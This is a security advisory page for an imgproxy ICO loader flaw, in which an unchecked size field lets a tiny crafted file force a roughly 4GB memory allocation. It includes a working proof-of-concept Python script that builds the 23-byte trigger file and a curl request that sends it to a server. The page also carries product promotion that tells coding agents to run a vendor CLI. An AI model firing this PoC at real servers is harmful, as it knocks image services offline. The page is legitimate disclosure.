# GHSA-MMQ5-XM89-9PFG: imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data\_size field

- Severity: high (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Exposure: Unclear
- Fixed in: 4.0.16
- Published: 2026-10-30 · Updated: 2026-10-30

## Summary

imgproxy, the open-source image processing server, is affected in its latest release line (4.0.x) and the 3.3.x series. A specially crafted, very small ICO image file can make the server attempt a single allocation of roughly 4 GB of memory, which can exhaust memory and cause a denial of service for image processing requests.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/imgproxy/imgproxy/v3 (Go): from 3.3.0, fixed in 4.0.16

## Description

### Summary Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15. ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation: ``` uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size); // BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually. VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN); ``` There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`. ### PoC ```py # make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger. # Byte-identical to the checksummed, production-verified file: # ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16) data = b'\x00' blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b' open('ico-4gb.ico', 'wb').write(blob) print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]") ``` ``` # imgproxy v4.0.15 with local file sources enabled: # IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png" # → outcome depends on host memory: on a memory-constrained pod the worker # OOM-dies; on a larger host the ~4GB allocation succeeds transiently and # decode fails -> HTTP 500 (worker survives, but each request burns ~4GB # transiently — repeatable memory exhaustion). ``` ### Impact Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.

## What to do

- Check your stack: if you ship or depend on github.com/imgproxy/imgproxy/v3, upgrade to a fixed version (4.0.16) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-MMQ5-XM89-9PFG

## FAQ

### What does this mean?

The imgproxy ICO image loader trusts a size value in an ICO file's directory entry and allocates memory for it without a limit. A small crafted file can make a worker allocate about 4GB per request, which can exhaust memory and crash the worker.

Source: https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg

### Am I affected, and how do I check?

The facts list versions 3.3.0 through 4.0.15, including the 3.3.x series, of github.com/imgproxy/imgproxy/v3. The reported setup also had local file sources enabled (IMGPROXY_ENABLE_LOCAL_FILES=true), so check your imgproxy version and that setting to see how your deployment compares with the reported conditions.

Source: https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg

### What should I do about it?

Upgrade to imgproxy 4.0.16, which is the listed fixed version.

Source: https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg

### Is it being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/GHSA-MMQ5-XM89-9PFG

## Related

- Browse: [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg
- https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917
- https://github.com/imgproxy/imgproxy
- https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/GHSA-MMQ5-XM89-9PFG
JSON: https://cve.now/api/v1/entries/GHSA-MMQ5-XM89-9PFG
Uses NVD data; not endorsed by NVD.
